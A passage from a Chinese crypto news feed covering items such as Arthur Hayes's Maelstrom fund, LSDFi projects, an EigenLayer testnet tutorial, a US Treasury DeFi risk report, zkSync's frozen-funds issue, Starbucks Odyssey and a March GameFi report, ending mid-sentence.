    PANews 4月7日消息，据CoinDesk报道，BitMex前首席执行官Arthur Hayes和前企业发展主管Akshat Vaidya共同创立了Maelstrom Capital。Maelstrom被设置为Hayes的家族办公室，由Vaidya担任投资主管，Maelstrom的资金来源于Hayes，暂无其他LP。 他们在接受采访时表示，Maelstrom目前正在瞄准基础设施公司，且正寻求超越比特币和以太坊的回报，但他们需要花时间来实现这一目标。Vaidya表示：“投资基础设施项目的优势在于，尤其是在这个周期，很多基础设施项目并不像其他项目那样真正成为监管机构的关注焦点。” 据悉，Maelstrom的所有投资组合公司，除了一家没有代币模型的公司，都在美国境外。  ( 1 min )
    LSDFi Summer及代表项目AgilityLSD解读
    今天看了一眼Defilima里的数据，不知不觉LSD的TVL已经爬到了第二的位置，超过了曾经Defi最基础的架构之一Lending借贷。 LSDFi所以最近以LIDO，SSV为首的LSD赛道不仅龙一龙二们表现出色，还涌现了很多比较有特色，币价也表现亮眼的LSDfi项目们，比如又吃又拿了近一个月的的USH。 错过了也不用郁闷，因为我觉得这仅仅只是一个开始，以LSD为基础的乐高游戏还远远没有达到曾经Defi Summer那会儿的高度。上海升级后，2023 LSDfi很可能会成为市场中下一个焦点。 所以今天用一篇文章来大概讲讲LSD，以及逐步更新一些这个赛道发现的有意思项目。 质押Token是Token持有者把自己的资产锁定在链上一定时间，以保护网络并获得奖励的过程。然而，传统的质押不够灵活，可能会阻止Token持有者将其资产用于其他目的。现在流动性质押的作用是通过允许Token持有者质押他们的资产同时仍然能够随心所欲地使用所抵押的资产来解决其他问题。这能为Token持有者提供质押奖励和网络安全的好处，而无需放弃对其资产的控制。 简单来说，流动性质押是Token持有者获得奖励和支持网络的一种方式，同时仍然可以灵活地使用其资产。 流动质押衍生品（LSD）则是意味着您可以获得质押Token的好处，而不必放弃使用权。这是一个双赢的局面，提供了前所未有的灵活性和效率。 简单的说，就是你的资产即维护了网络的安定，同时又帮你打工赚钱，还可以让你继续拿去霍霍。 到目前为止， $ETH质押 apr 是加密货币中最令人信服的实际收益之一，以太坊质押者质押以保护网络和去中心化，并获得 PoS 通货膨胀作为奖励。 随着Lido等协议的出现，帮助质押者们解决了流动性问题，不用再傻傻的锁定住自己的资产。这跟很多项目方弄个staing单币质押池子锁流动性好拉盘不一样，ETH的POS机制决定了你们拿出32个ETH的节点小伙伴们的确做出了贡献，这些APR就是回报。 链上收益源Staking收益可以承载链上大量资金的收益需求，当Staking APR远超过之前Lending协议可以带来的APR以后，自然而然LSD的TVL也会超过借贷Lending，毕竟钱跟水一样会流去利息高的地方。尤其是上海升级后，可以视为ETH标准的无风险利率。这里ETH的 staking APR就变成了最底层的坚实收益，并传导到在这之上的各种协议，成为DEFI世界的利率风向标。 此后市面上出现了各种各样的LSD协议，比如Rocket的$rETH, Coinbase的$cbETH，币安的BETH，Frax的$fraxETH等，七七八八加起来已经有了超过150亿美金的锁仓规模。他们各有特色，都有自己的优势和劣势，不过也同样面临着问题。其中最主要的需求有如下几点。 提高利用 LSD 收益率 主动管理 LSD 策略 提前获得 LSD 福利 交易 LSD 收益率 而这些需求必然会催生出大量新项目，产生Alpha和吸引更多资金及目光，这就是LSDfi，并期待会演变成LSD summer。 这里准备持续更新看到的LSDfi类型项目，今天先讲第一个 这个项目发现了一个在LSDfi里面很多项目会面临的痛点，那就是怎么来解决这些新LSD项目的初始流动性(给各个新生协议喂饭)。 想象一下 AAVE 将开始自己的 ETH 质押服务。而AAVE发行其LSD，即aaveETH。然后 AAVE 将需要大量的流动性来支持 aaveETH。对于 AAVE 来说太贵了，无法为 aaveETH-ETH 对提供所有流动性。 同时Protocol B 创造了全新的 LSD 乐高玩法，如杠杆 LSD 收益、主动管理 LSD 策略、提前获得 LSD 收益、交易 LSD 收益等。但新协议也很难直接吸引来流动性。 这种资源错配的需求，就是敏捷协议Agility试图解决的。 他们很有创意的提出了一个稳定币方案 aUST 如下图所示用户将 LSD 存入金库，然后使用 aLSD 做杠杆并铸造 aUSD，这是一种类似于$LUSD的稳定币，它是完全抵押和去中心化的。 然后利用这个aUSD，用户可以干很多事情，而aLSD也是可以提供出去的有用资源。 从下面的图里可以看到，协议觉得用户可以至少做下面一些玩法 1.1/ Curve/balancer/Aura 上的 LSD peg farm 赚取协议费和交易费 1.2/借出你的aLSD赚利息 1.3/ LSD杠杆挖矿 不过最有意思的是利用他们项目自己的代币 $AGI，可以玩出类似于Convex在Curve上一样的贿选游戏。锁定$AGI换取esAGI，然后esAGI的持有者可以投票给各个LSD协议产出$AGI的权重。 投票者获得70%的vault yield +$AGIemission + real lsd yield。对于新生的LSD项目们通过加入生态，则获得了$AGI激励以及更多的流动性。 接下来就是Curve上大家熟悉的节奏了，项目们为了更多的流动性和奖励，自然是需要贿赂esAGI持有人的，具体可以参考曾经convex的玩法。 至于aUSD可以玩的场景包括： 期货，期权，DEX，yield exchange等等 Agility总结： 项目的思路和切入点很有意思，在不考虑团队和开发实力等的情况下是有点值得期待的。至少在LSD赛道，的确需要这样的一个角色。 后续会持续第二期项目 Ether.fi  ( 2 min )
    以太坊再质押协议EigenLayer测试网教程
    来源：Bitalk News推特 EigenLayer是以太坊restaking协议，现在已经完成6440万美元融资。 今天EigenLayer推出了第一个测试版本，支持stETH、rETH测试币的restaking，以及测试网上新验证者对ETH的restaking。 在这条推文中，哔哔News会提供stETH、rETH的restaking和withdraw的教程。（推荐阅读：《新项目 | EigenLayer：通过再质押（Re-Staking）打造以太坊上的共识中枢》） 一、在Goerli测试网获取一些ETH测试币。  二、把Goerli ETH转化为stETH和rETH测试币。 Metamask切换到Goerli测试网，通过send功能，把Goerli ETH发送到0x1643E812aE58766192Cf7D2Cf9567dF2C37e9B7F，得到stETH测试币。 Metamask切换到Goerli测试网，通过https://testnet.rocketpool.net 质押Goerli ETH，得到rETH测试币。  在Metamask添加代币0x1643E812aE58766192Cf7D2Cf9567dF2C37e9B7F、0x178E141a0E3b34152f73Ff610437A7bf9B83267A 三、在EigenLayer上restaking、withdraw   https://goerli.eigenlayer.xyz连接Metamask  选择rETH或stETH，选择Deposit，输入restaking数量，钱包确认。 在测试APP首页，你可以看到自己的restaked points，这个数值取决于你质押的数量和时间。 选择rETH或stETH，选择Unstake，输入withdraw数量，钱包确认。 Unstake需要等7天。7天后再点击withdraw，钱包确认。 四、官方教程：https://docs.eigenlayer.xyz/guides/get-testnet-tokens 小编之前看过EigenLayer这个项目，创始人Sreeram Kannan应该比较厉害，他提出过这样的观点： 区块链之间、DAPP之间的信任是相互割裂的，各自要为了维持生态的安全支付高昂的资金成本。比如以太坊信标链要维持现在的质押体量，就要为质押用户提供3.9%的APY。 EigenLayer做的就是资金的restaking，让用户除了ETH的PoS质押外，也可以把资金重复质押到中间件、预言机、DAPP等，从而提高资金效率，同时确保以太坊网络、各类协议的安全性。  ( 2 min )
    美国财政部首次发布DeFi 风险报告，透露了哪些重点信息？
    编译：吴说区块链 原文链接： https://home.treasury.gov/news/press-releases/jy1391 美国财政部发布了 2023 年 DeFi 非法金融风险评估，这是世界上第一个针对去中心化金融（DeFi ）的非法金融风险评估。该评估关注了通常所说的 DeFi 服务相关的风险。尽管目前没有普遍接受的DeFi定义，但该术语泛指与虚拟资产协议和服务相关的内容，旨在允许某种形式的自动点对点交易，通常使用基于区块链技术的名为“智能合约”的自执行代码。这个术语通常被私营部门宽松地使用，用于功能并非完全分散的服务。 朝鲜、网络犯罪分子、勒索软件攻击者、窃贼和骗子等行为者正在使用 DeFi 服务来转移和洗钱他们的非法收益。他们能够利用漏洞，包括许多 DeFi 服务未能履行反洗钱和反恐融资（AML/CFT）义务的事实。 负责恐怖主义和金融情报的财政部副部长布赖恩·尼尔森表示：“我们的评估发现，包括犯罪分子、诈骗者和朝鲜网络参与者在内的非法行为者在洗钱过程中使用 DeFi 服务。要获得与 DeFi 服务相关的潜在收益，就需要解决这些风险。私营部门应利用本次评估的结果来制定自己的风险缓解策略，并根据 AML/CFT 法规和制裁义务采取明确措施，以防止非法行为者滥用 DeFi 服务。” 非法行为者利用的主要漏洞源于 DeFi 服务未遵守 AML/CFT 和制裁义务。根据《银行保密法》，从事相关活动的 DeFi 服务需要承担反洗钱/打击恐怖主义融资义务，无论这些服务是否声称它们目前已去中心化或计划去中心化。其他漏洞包括某些 DeFi 服务可能超出现有 AML/CFT 义务范围，其他司法管辖区对 DeFi 服务的 AML/CFT 控制薄弱或不存在，以及 DeFi 服务的网络安全控制不力。 尽管风险评估的主要目的是确定问题范围，但该研究还包括了对美国政府采取行动以减轻与 DeFi 服务相关的非法金融风险的建议。这些建议包括： ● 加强美国反洗钱/打击恐怖主义融资监管 ● 考虑为私营部门提供关于 DeFi 服务 AML/CFT 义务的额外指导 ● 评估增强措施以解决与 DeFi 服务相关的任何 AML/CFT 监管漏洞 尽管许多服务声称“完全去中心化”，但实际上在完全“中心化”和完全“去中心化”服务之间存在广泛的活动。在实践中，许多 DeFi 服务仍以治理结构为特征（例如，管理功能、修复代码问题或在一定程度上改变智能合约的功能）。在某些情况下，DeFi 服务的所有者或运营商会保留一个管理密钥，这可能使持有者能够更改或禁用 DeFi 服务的智能合约。在其他情况下，治理声称由 DAO 管理，DAO 可以描述为旨在部分根据一组编码和透明规则或智能合约运作的管理系统。在许多情况下，即使治理结构声称是去中心化的，少数人也可以行使高度控制权。 监管机构已针对未在适当的监管机构注册且未为其提供的服务实施必要的 AML/CFT 计划的在美国运营的 DeFi 服务提起诉讼。 在某些情况下，缺乏清晰的组织结构可能导致难以识别任何人、一群人或运营 DeFi 服务的实体，无论是因为不存在这样的人，还是因为分散的、糟糕的或故意混淆的组织。这给对未履行 AML/CFT 义务的 DeFi 服务进行监管并在适当时进行执法带来了严峻挑战。 许多 DeFi 服务声称让公众可以查看他们的代码，这可以提高透明度和用户对服务的信心，并使查看者能够发现代码改进的机会。然而，这也为网络犯罪分子提供了机会来审查代码并识别潜在的漏洞以实现盗窃或其他滥用。如果智能合约编写不仔细或者它们缺乏快速停止或更改的机制，则此漏洞可能会更加复杂。 美国 AML/CFT 监管框架是一项基本的缓解措施，旨在解决与在美国运营的 DeFi 服务相关的非法金融风险。此外，在国际论坛（尤其是 FATF）中的工作也可以在制定标准和促进这些标准的实施以解决与 DeFi 服务相关的非法金融风险方面发挥重要作用。 DeFi 服务通常有一个中央方参与或控制，例如创建和启动虚拟资产，为持有管理“密钥”的账户开发服务功能和用户界面，或收取费用。在这种情况下， DeFi 服务可能属于 FATF 对 VASP 的定义，因此具有 AML/CFT 义务。 一些实体正在为 DeFi 服务或其他可用于减轻与 DeFi 相关的非法金融风险的工具开发 AML/CFT 和制裁合规解决方案。这种技术创新可能会增强美国金融体系的可访问性、透明度和安全性，但大多数工具仍处于初期阶段，无法对其承诺做出明确的结论。财政部正在努力提高虚拟资产领域 AML/CFT 监管框架和制裁合规计划的整体有效性，并将与私营部门合作，支持 DeFi 领域负责任的创新。美国政府应与开发商合作，包括通过技术冲刺和可能的研发资助，以促进旨在减轻 DeFi 服务非法金融风险的创新。政策制定者和监管者还应寻求和评估监管或指导方面的必要变化，以支持这些发展。 这份报告承认，非法活动是 DeFi 领域整体活动的一个子集，目前，DeFi 领域仍然是整个虚拟资产生态系统的一小部分。此外，洗钱、（非法武器）扩散融资和恐怖主义融资最常发生在使用法定货币或其他传统资产，而不是虚拟资产。  ( 2 min )
    数据：比特币难度上调2.23%至47.89 T，再创历史新高
    PANews 4月7日消息，据欧科云链OKLink多链浏览器数据显示，比特币挖矿难度于昨日在23:34（区块高度784224）处迎来了挖矿难度调整，挖矿难度略微上调2.23%至47.89 T，再创历史新高，目前全网平均算力为341.89 EH/s。  ( 1 min )
    外媒：Paxful两位联创对簿公堂争夺公司控制权，或是平台关闭的真正原因
    PANews 4月7日消息，据Cointelegraph报道，比特币P2P市场Paxful的两位联合创始人 Artur Schaback和Mohamad (Ray) Youssef在美国特拉华州法庭上的激烈争执可能是4月4日Paxful突然关闭的真正原因。根据法庭文件，Schaback和Youssef于2015年共同创立了Paxful ，现在他们正在就公司的控制权提起诉讼，对彼此提出多项指控。 Schaback一直担任Paxful的首席运营官，直到2022年2月，他被禁止参与该公司的运营，原因是他与Paxful首席执行官Youssef在市场的未来和运营方面存在分歧，包括“向未披露实体不断增加支出的合法性”方面的冲突。根据Schaback在诉讼中的说法，Paxful的大量比特币已经转移到一个名为“EMiR”的土耳其实体，他声称这不是一家合法的软件公司，“它没有宣传软件或网络开发服务的网站，也没有物理地址……似乎属于一家服装公司。”而Youssef对此表示，这些指控围绕着向一家为Paxful工作的土耳其工程公司支付工资，Schaback拒绝支付这些工资导致整个80名工程师团队停止工作。在他的团队即将辞职的情况下，Youssef表示不可能将Schaback留在 Paxful。 Schaback在接受采访时表示，Youssef于4月4日单方面关闭了Paxful，“Youssef的行动旨在巩固美国以外司法管辖区的权力，并将我和其他股东从他的计划中剔除。”Schaback表示，他对公司信息的访问权限有限，并且已经18个月没有参与日常运营。  ( 1 min )
    zkSync：资金被卡项目为Gemholic，已找到解冻合约解决方案
    PANews 4月7日消息，zkSync在推特上表示，zkSync Era上多合一平台Gemholic遇到智能合约问题，资金是安全的，目前已找到一个解决方案来解冻合约，可以解决更广泛的与Gas相关的问题，这将需要对协议的Gas计量进行最小的更改，但会允许完全回收资金，将在明天发布更多详细信息。 zkSync解释称，任何使用transfer()或send()的智能合约都严重依赖Gas成本（硬编码2300 Gas），但这不能保证在以太坊上工作，fallback()函数可以消耗超过2300 Gas，opcode Gas定价在以太坊的未来版本中可能会发生变化，合约将会中断。zkSync Era不等同于EVM，Era有一个发散的、动态的Gas计量方案，允许一些交易类型比任何其他EVM Rollup便宜10到1000倍。按照Era主网当前的Gas水平，ETH转账将花费超过2300 gas。这就是为什么任何没有明确Gassti pend的.transfer()调用目前都会失败的原因。zkSync一直很清楚这个问题可能会出现，所以直接向编译器添加了关于.transfer()的警告。 此前今日早些时候消息，某zkSync生态项目921枚ETH融资资金被卡至合约中。  ( 1 min )
    Joe O'Rourke的跨界启示：从传统行业到Web3，如何一步步实现？
    原文：《Joe O'Rourke: 如何从传统行业销售经理到 Starbucks Odyssey 主创》 撰文：Ruby Wang、starzq 作为一名普通非技术人员，可以有哪些姿势成为 Web3 Builder? Joe O'Rourke (@BunchuBets) 曾经是一名传统行业销售经理，辞去工作参加了一个 Web3 聚会，现在作为 Forum3 联合创始人帮助 Starbucks 进入 Web3 Joe 是如何做到的？如果你想找一份 Web3 非技术的工作，或者帮助品牌进入 Web3，他的经历可能会对你有所帮助。 TL;DR 如何在 web3 找到属于你的机会 与 Web2 品牌建立合作：用分享代替销售 品牌合作降本增效：Tokens are new API & Cookies 品牌必须首先是内容公司，才能与消费者建立更深层次的关系   之前我们介绍过 Forum3 三位联合创始的背景 Andy 和 Adam 是典型的成功人士路径，普通人很难参考；Joe 从传统行业销售经理到 Starbucks Odyssey 背后主创的故事，值得我们学习和参考。上周 Joe 接受了 InPeak 的采访，大方的分享了一系列经历，包括如何在 web3 找到机会，和星巴克合作背后的故事，希望能够带给你一些启发和帮助。 Joe 是一家医疗公司的销售经理，2017 年起开始接触加密领域，尝试 BTC 的投资并通过 @REKT_Podcast 持续输出内容。2021 年 Axie Infinity 大火，Joe 也发布了大量关于 Play-to-Earn 的研究和推文。 REKT Podcast 有一天，Joe 在推上收到@DrewAustin（ Crypto VC, Knights of Degen 联合创始人） 的私信，说有一个 3 天的闭门会，能不能来与小组讨论 P2E 游戏和 Axie Infinity。 活动是下周二至周四，Joe 原本要去匹兹堡给一家疗养院销售其品牌的纸尿裤。嘉宾名单是加密 OG 和 VC 的「名人录」，Joe 从来没有想过会和他们待在同一个房间。 Joe 当时已经有 10 年的销售经验，非常专业，但很难给他带来成就感。 直觉告诉他，这是一个不能错过的机会，他必须参加这个活动。 于是在周五之前，Joe 辞掉了销售的工作，腾出时间来参加闭门会。接下来发生的事情改变了他的生活。 Joe 在活动上遇到了 Adam（Forum3 联合创始人，星巴克前首席数字官），他们一拍即合，那天持续聊了 12 个小时，围绕 Play-to-Earn 和 Loyalty（忠诚度）。 Joe 认为目前所有的 P2E 游戏激励机制都是有问题的。游戏内的金钱完全由用户赞助（没有外部经济输入），然后用户赚了钱就会立即提出去，最终影响游戏内资产价格、代币价格，带来非常糟糕的用户体验。庞氏不可能持久，所以 Play-to-Earn 游戏基本上一段时间就没有用户了。 但如果将品牌和 Play-to-Earn 结合，品牌的资金、商誉和声望为经济系统注入了外部输入，使得游戏可以持续运转下去；同时用户通过游戏提升了黏性和忠诚度，最终形成品牌的影响力和外部正向性，使整件事情形成一个正向循环。 所以，当用品牌来重新定义 Play-to-Earn 时，可以得到一个完全不同且可行的概念。这就是 Starbucks Odyssey 和 participate-to-earn 的基础。 第二周，Joe 作为第三名联合创始人加入了 Forum3，和 Adam 和 Andy 一起，开启一段传奇经历，致力于让下一个 1 亿人加入 Web3。 一个推特 dm，一个活动，让 Joe 在 Web3 找到了属于他的机会。 另外我自己觉得，Joe 有 2 点特长是和 Forum3 的工作相当契合的 机会永远留给有准备的人。 TakeAway 另外 Joe 写了一条非常精彩的推来讲述这段经历和他的感悟，欢迎阅读 Forum3 的 3 个创始人和第 1 个员工，2022 年 5 月飞往星巴克，与所有不同的跨职能团队聊了 2-3 天，包括咖啡教育（Coffee Education）部门、忠诚度（Loyalty）部门，市场营销（Marketing）部门以及管理层。 当时 Forum3 的目标并不是向星巴克推销 Odyssey（那时也没有具体的方案），而是完全从分享（教育）的角度，展示 Web3 是什么，NFT 是什么，以及它们能够提供哪些不同的东西，是否星巴克的某个项目刚好需要这项技术。 然后幸运的是，星巴克的忠诚度团队迅速理解了 Web3 和 NFT 的价值并感到兴奋，直接告诉 Forum3：「嘿，实际上我们已经在寻找这样的东西很久了」。 Forum3 团队感到既惊喜又好奇，为什么是「很久」？ 因为星巴克的忠诚度计划有 2700 万月度活跃会员（active monthly members），每个月需要花费巨大的成本来运行，他们认为 Web3 和 NFT 可以帮助降低这个项目的运行成本。 我在之前的文章里面也写过，传统的忠诚度计划是一个单向的 shop-to-earn 游戏。顾客用更多的访问和消费，换取更大的折扣，最后这些生态内的行为都成为品牌的额外高昂成本。 通过 Web3 和 NFT, 忠诚度团队可以挖掘星巴克拥有的「无形品牌价值」，引入更多合作伙伴（比如米其林餐厅，汉堡王或者 Netflix），在传统的忠诚度计划之上创造一个新的游戏层，以一种不同以往的方式和体验，来奖励用户的参与，同时做大整个生态，而不只是使用自己生态内的奖励。 这与我们之前分享的 Open Loyalty 思想一致：我的会员也是你的会员，用户享受到的权益不止来自于单个品牌方，而是生态中的多个合作伙伴。 之前单个品牌方需要花 10 块钱来奖励一个用户，如果现在有 5 个合作伙伴，每个合作伙伴出 5 块钱来奖励这个用户，用户自身体验变好（收到 25 块钱奖励），每个合作伙伴的成本也降低。 这一切能够发生，是因为星巴克具有的「无形品牌价值」可以吸引到外部合作伙伴， 最终创造出正向外部性。 这样既为用户创造了全新的体验，又降低了忠诚度计划运营的成本，何乐而不为，所以忠诚度团队立马 buy in 了这件事。 让 Forum3 团队没有想到的是，Odyssey 项目推进的难点之一，竟然是如何把相关的教程传递到门店的咖啡师这一层（Barista Level）。因为咖啡师是顾客的第一触点，顾客很有可能会向其询问关于 Odyssey 的问题，比如某个积分如何领取，虽然目前 Odyssey 只是小小的 beta 测试版本。采访里面没有讲这个问题最后是怎么解决的，但的确品牌会面临的问题，会在 Web3 团队的意料之外。 另外，星巴克并不是 Forum3 的第一个客户，能够达成合作也是部分得益于其联合创始人 Adam Brotman 和星巴克的特殊关系。Adam 是星巴克的前首席数字官，他在星巴克工作了 9 年，期间领导了 APP 的相关工作，触达了全球 5000 万用户，并成为美国市场的第二大移动支付 app(3100 万用户 )，仅次于 Apple Pay(4300 万 )。 Forum3 成立于 2021 年 6 月（正式拜访星巴克的一年前），2021 年 7 月在一个私人场合下，Howard Schultz（霍华德 - 舒尔茨，星巴克创始人，当时已经离任 CEO）和 Forum3 的创始团队聊 Web3，对于 Adam 在 Web3 里面做的事情感兴趣。然后 2022 年 4 月，Howard 第三次回归星巴克做 CEO, 然后找到 Adam 问「嘿，你想为星巴克做这件事吗?」于是才有了 5 月的团队拜访，和后面的一切故事。 Take Away   品牌合作降本增效：Tokens are new API & Cookies NFT 不但可以帮助形成 Open Loyalty, 带给品牌方和用户更多权益，同时在降低了品牌之间合作的成本 Joe 在这里给出了一个真实的例子： 在 Odyssey 推出后 1 个月，星巴克发布了一个共同奖励计划（rewards together program），首个合作伙伴是达美航空（Delta Airlines）。 如果你是星巴克或者达美航空的会员，则可以把你的星巴克账户和达美航空账户连接在一起，每次你在星巴克或者达美航空中完成某些操作时，都会同时收到 2 边的奖励。比如，每在星巴克消费 $1, 累积星星的同时，还会在达美航空奖励 1 英里的里程；在顾客预订达美航空后，可以在星巴克门店符合条件的消费中获得双倍星数奖励。 真棒！这是一个典型的联合 Loyalty 系统，「你的会员就是我的会员」。 然而，他们花了多年时间才建立起这个联合 Loyalty 系统。因为不同公司拥有自己的数据库、技术栈和基础设施，并且必须构建 API 才能让外部调用其数据，这需要时间、人力和资金，而且 API 的设计和交互还需要双方大量的讨论和沟通。 基于 NFT 或者区块链的开放模型、开放数据和开放共识机制，每个人都可以玩同样的游戏，使协作变得异常简单。甚至都不需要沟通就可以建立单方面的合作，因为数据的读取是无需许可的（permissionless）。 另外 Token 不但成为了新的 API, 还充当了成为 Cookies（用户个性化数据）。一方面降低品牌的数据合作成本，另一方面也让品牌有了新的方法使用用户数据，达到更好的合作效果 补充一个背景信息，2021 年 4 月 iOS14.5 的更新允许用户选择「是否愿意在其互联网活动中被跟踪」。据分析移动应用增长的机构 Branch 称，iPhone 用户只有 25% 的时间允许应用跟踪他们的行为。 也就是说，对于任何平台，其收集用户的数据缩减到过去的 25%，这会直接影响用户画像的建立，和相关广告投放和个性化推荐的精准度。 「以前在 Facebook 上投入一美元，能够获得五六美元的回报。” Shanahan 说，“现在呢？能有一比一的回报率就算不错了。」 期待看到星巴克共同奖励计划的下一个合作伙伴，是直接基于 NFT 来打通数据。 TakeAway   品牌必须首先是内容公司，才能与消费者建立更深层次的关系 关于内容的重要性，之前我们在《Adidas 前 Web3 负责人: 如何用 Web3 构建品牌的新增长飞轮》里分享文化经济的时候谈到过 在文化经济中，年轻用户需要的不止是商品和消费，品牌文化带来的身份感和归属感可能更为重要，而文化往往诞生于内容。 对于新品牌，必须先有内容，然后基于对内容的认同产生社区，才能够去卖货，把认同商品价值的社区用户变成消费者，这时内容就形成了品牌。 例如，游戏产生的 IP，IP 又出了电视剧和玩具。那些能够给用户一种身份感或者意义感的事物就会产生经济价值，意义被创造后生产的商品或者交付的服务自然就有它的受众和需求。而基于最初内容产生共鸣的社区群体，认可文化价值的用户自然就成为品牌的消费者。 Joe 从【忠诚度】的角度进行了分享，也非常有 insight 所有这些品牌都需要开始将自己视为内容公司——无论是星巴克、inPeak 还是任何 NFT 项目、Web 2 品牌等等——这是由于这种关注经济和消费者对忠诚度的看法已经发生了变化。 以前，忠诚度几乎感觉像顾客欠品牌一个人情；现在则完全相反：品牌要向顾客保持忠诚才行。那么如何做到呢？就是通过注意力和内容来达成目标。 所有这些品牌现在都正在创建内容——无论他们是否意识到自己实际上正在创建内容——无论是营销还是教育等方面的东西都可以用来与消费者建立更深层次的关系。 这也解释了星巴克为什么要打造一系列内容，包括 Game(Odyssey), Podcast(Starbucks Daily) 和 Event, 这些内容帮助星巴克增加和会员互动的机会，保持忠诚度；同时在这些场景里可以增加更多的品类，提升其商业空间，升级为生活方式品牌。 但是，很多 Web2 公司也生产内容呀，比如开设各类社交媒体账号，Web3 会带来哪些不同呢？NFT+ participate-to-earn, 更利于品牌用游戏化的方式鼓励用户主动进行某个行为，把内容的消费变成一件非常有趣的事情，而不是被动的接受营销。 例如，当你进入第一个星巴克旅程时，它会让你参观他们在哥斯达黎加的咖啡农场，并回答问题以获得积分和奖励。这个体验真的很酷，超级好玩。而且反馈也非常棒：人们说：「我不知道我想要了解这个或者需要看这个视频，但是它真的很酷，我感觉学到了东西并且喜欢上了星巴克品牌。」 有趣的是，在 Odyssey 之前已经存在这些内容片段，但没有人关注、互动或交流。当你把它打包成具有激励性质而不仅仅感觉像推销营销时，整个体验完全改变了。 再进一步，用户希望自己拥有品牌，具有所有权（ownership）并且能共同创造内容。Joe 认为 AI、NFT 和忠诚度之间会出现非常有趣的交叉点，可以用于增强叙事（Storytelling）和共同创造（co-creation）。 假设 Starbucks Odyssey 内嵌了 mid-journey，就可以组织一场咖啡拉花比赛，在社区里产生一些很酷的东西。你可以想象一下，他们正在社区内创建下一个 Odyssey 邮票的设计，并且在这样做时会在品牌和消费者之间产生非常强大的情感关系。 当你参与到这种活动中来并帮助设计时，你会觉得自己能够参与其中并提供帮助。这种共同创作理念所涉及到的很多事情都非常酷。看起来我们还有很多可以讨论的内容。 马上我就试了一下，左边是我学了付费的拉花课程后练习 2 周的成果，右边是 AI 5 秒生成出来的恐龙拉花 所有创造性任务的问题都是门槛高质量差，终于有解了 participate-to-earn 里，本质还是品牌在引导用户完成某个行为，用户「参加任务」然后得到了一个 NFT 奖励； 但一旦用户参与了创造，并且以 NFT 的形式拥有了这个创造，同样是 ownership, 被发放和自己创造，你的情感连接程度完全不一样，不再是品牌讲故事给你听，而是你成为了品牌故事的一部分 于是在我们之前分享的忠诚度 3.0 框架之上，AI 同时增强了可玩性和创造性，使得品牌的 web3 增长飞轮更好转动起来 可口可乐这个和 AI 结合的广告非常惊艳，期待星巴克也能出来好玩的东西。 Takesway   总结 如何在 web3 找到属于你的机会：公开学习和分享，建立可信度和联系 与 Web2 品牌建立合作：用分享代替销售 品牌合作降本增效：Tokens are new API & Cookies 品牌必须首先是内容公司，才能与消费者建立更深层次的关系  ( 5 min )
    Uniswap社区发起“BSL过期后跨链部署和新uniswap.eth子域名创建”的温度检查投票
    PANews 4月7日消息，Uniswap社区正就“商业源代码许可证（BSL）过期后跨链部署和新uniswap.eth子域名创建”提案进行温度检查投票，目前该提案支持率为100%，投票将于4月14日截止。 Uniswap基金会新任治理主管Erin Koen表示，BSL到期后，为每条链确定一个官方Uniswap V3部署将是有益的，以便为用户提供安全保障并明确Uniswap治理。此外，为了与在BSL到期后推荐的治理流程保持一致Uniswap基金会建议创建一个新的ENS子域v3-deployments.uniswap.eth，以跟踪Uniswap v3在L1和L2上的官方部署。 此前消息，Uniswap V3核心代码版权商业保护（BSL）已于4月1日到期。  ( 1 min )
    3月GameFi简报：赛道整体迎来复苏，传统大厂加速布局
    3月，索尼互动娱乐申请了 NFT 相关专利，Nexon 将与 Polygon 合作重构经典游戏《枫之谷》，这两大传统游戏巨头向 Web3 领域的动作都在一定程度上代表了未来游戏的发展方向。 本报告将从整体行情和市场情绪两个方面来回溯 3 月 GameFi 的市场走势。此外，报告还将对当月的热点事件进行简短的盘点。 报告中的数据皆由 My MetaData 提供。My MetaData 是一个数据驱动的 GameFi 分析平台，通过Twitter 热度、链上数据、机构动态帮助用户发现 GameFi 投资机会。 在美联储继续加息的影响下，3 月的加密市场迎来了一波小的复苏，GamFi 领域也不例外。相较 2 月，3月的活跃度基本稳定在 800K 左右徘徊，其峰值上涨约 7%。 数据来源：mymetadata.io 从交易数据来看，3 月 8 日有一波交易高峰，主要来自 Ronin 链上的 Axie Infinity，该游戏在这一天开启了 Origins Season 3。 数据来源：mymetadata.io 二、市场情绪 我们将从 Google 的搜索热度和融资情况两个角度来看市场的整体反应。 整体来说，在 GameFi 相关的话题中，#P2E 的搜索指数最高，几乎覆盖了全球的发达地区。这一搜索值在 3 月 23 日达到顶峰，在这一天，Axie Infinity Origins Season 正式结束。 数据来源：Google Trends 融资方面，3 月 GameFi 赛道发生融资事件 9 起，涉及金额 1.66 亿美元，从融资项目数量上已经远远落后于其他赛道，但是总融资金额近落后区块链金融赛道。 在这 9 起融资事件中，链游项目 1 个，融资额 300 万美元；游戏开发商 6 个，融资额达 1.59 亿美元；游戏平台 2 个，融资额达 400 万美元。 数据来源：mymetadata.io 具体融资项目如下： 数据来源：mymetadata.io Believer 是由前 Riot 公司高管 Michael Chow 和 Steven Snow 联合创办，成立于 2022 年 4 月。Michael Chow 此前曾担任《英雄联盟》（League of Legends）开发商 Riot Games 的副总裁。目前，Believer 正围绕着一个原创 IP 开发一款大型多人开放世界游戏，着重强调游戏中的社交属性。 CCP Games 完成的这轮 4000 万美元融资由 a16z 领投，用于扩大开发团队。该项目设置在工作室发布的首款网游 Eve Online 的宇宙中，也是一款大型多人在线（MMO）游戏。 3 月链游市场也发生了一些比较重要的事件，我们将一一进行盘点。 1. 阿里云将于 4 月在日本为游戏开发者开设区块链实验室 阿里云将在东京涩谷启动区块链实验室，它将在 4 月与游戏和 VR 内容开发商 Skeleton Crew Studio 合作开放。开发者可以直接接入阿里云旗下企业的生态系统，并有机会在每个生态系统的测试环境中进行演示实验。 目前，该实验室只向黑客马拉松参与者和与阿里云合作开展项目的选定公司开放。而今年已经安排了两项主要的 Web3 活动，分别是Web3 专业游戏黑客马拉松 “asobiHack_Tokyo” 和 HAPathon 2023 黑客马拉松，它们将在包括东京在内的四个城市举行。 2.韩游戏巨头 Nexon 将使用 Polygon Supernet 拓展元宇宙生态 《MapleStory Universe 枫之谷元宇宙》根据韩国最大游戏商 Nexon 推出的经典之作《枫之谷》重制而成。该游戏将会是一款以 NFT 为中心的游戏，其 NFT 不会有任何预售活动，只能通过在游戏内游玩获得。Nexon将与 Polygon 合作推出一个独立子网，其 Token 和经济模型的具体信息将在后期公布。 3. 索尼互动娱乐已申请 NFT 相关专利 传统游戏巨头索尼互动娱乐有迹象开始涉足 GameFi 领域。根据CoinDesk 报道，索尼互动娱乐（SIE）已申请 NFT 相关专利，该专利将使 NFT 